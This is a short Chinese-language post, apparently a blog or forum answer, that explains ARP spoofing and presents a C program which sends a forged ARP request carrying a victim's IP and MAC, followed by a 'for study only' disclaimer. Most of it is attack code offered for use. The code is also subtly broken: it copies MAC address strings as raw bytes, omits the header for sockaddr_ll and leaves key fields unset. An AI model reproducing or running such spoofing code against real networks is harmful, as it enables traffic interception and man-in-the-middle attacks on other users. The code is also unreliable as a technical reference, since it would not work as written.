c++ arp攻击代码

c arp攻击是一种网络攻击方式，攻击者通过发送伪造的ARP请求和ARP响应来欺骗局域网内的主机，使其将数据流向攻击者指定的目标主机。下面是一个简单的c arp攻击代码示例：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if_arp.h>
#include <net/ethernet.h>
#include <netinet/if_ether.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <unistd.h>

#define PACKET_SIZE sizeof(struct ether_arp) + sizeof(struct ether_header)
#define TARGET_IP "192.168.1.100"
#define TARGET_MAC "00:11:22:33:44:55"
#define VICTIM_IP "192.168.1.101"
#define VICTIM_MAC "AA:BB:CC:DD:EE:FF"

int main() {
    int sockfd;
    char packet[PACKET_SIZE];
    struct ether_arp *arp_hdr;
    struct ether_header *eth_hdr;
    struct sockaddr_ll sa;
    struct ifreq ifr;

    // 创建原始套接字
    if ((sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP))) == -1) {
        perror("Failed to create socket");
        exit(1);
    }

    // 获取接口索引
    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, "eth0", sizeof(ifr.ifr_name));
    if (ioctl(sockfd, SIOCGIFINDEX, &ifr) == -1) {
        perror("Failed to get interface index");
        close(sockfd);
        exit(1);
    }
    sa.sll_ifindex = ifr.ifr_ifindex;

    // 设置目标MAC地址
    memcpy(sa.sll_addr, TARGET_MAC, ETH_ALEN);
    sa.sll_protocol = htons(ETH_P_ARP);

    // 构造ARP请求
    memset(packet, 0, sizeof(packet));
    eth_hdr = (struct ether_header *) packet;
    arp_hdr = (struct ether_arp *) (packet + sizeof(struct ether_header));

    // 设置ARP帧头部信息
    eth_hdr->ether_type = htons(ETH_P_ARP);
    memcpy(eth_hdr->ether_dhost, TARGET_MAC, ETH_ALEN);

    // 设置ARP数据包信息
    arp_hdr->arp_hrd = htons(ARPHRD_ETHER);
    arp_hdr->arp_pro = htons(ETHERTYPE_IP);
    arp_hdr->arp_hln = ETH_ALEN;
    arp_hdr->arp_pln = 4;
    arp_hdr->arp_op = htons(ARPOP_REQUEST);
    memcpy(arp_hdr->arp_sha, VICTIM_MAC, ETH_ALEN);
    inet_aton(VICTIM_IP, (struct in_addr *) &arp_hdr->arp_spa);
    memcpy(arp_hdr->arp_tha, TARGET_MAC, ETH_ALEN);
    inet_aton(TARGET_IP, (struct in_addr *) &arp_hdr->arp_tpa);

    // 发送ARP请求
    if (sendto(sockfd, packet, PACKET_SIZE, 0, (struct sockaddr *) &sa, sizeof(struct sockaddr_ll)) == -1) {
        perror("Failed to send ARP request");
        close(sockfd);
        exit(1);
    }

    printf("ARP request sent successfully\n");

    close(sockfd);
    return 0;
}

这段代码使用C语言编写，通过创建原始套接字、设置目标MAC地址、构造ARP请求等操作，实现了一个简单的Arp攻击。它会向指定的目标主机发送伪造的ARP请求，欺骗目标主机将数据发送到攻击者指定的目的主机上。由于ARP协议的信任机制，攻击者可以利用这一点进行网络攻击，如中间人攻击等。需要特别注意，该代码仅供学习和研究使用，请勿用于非法目的。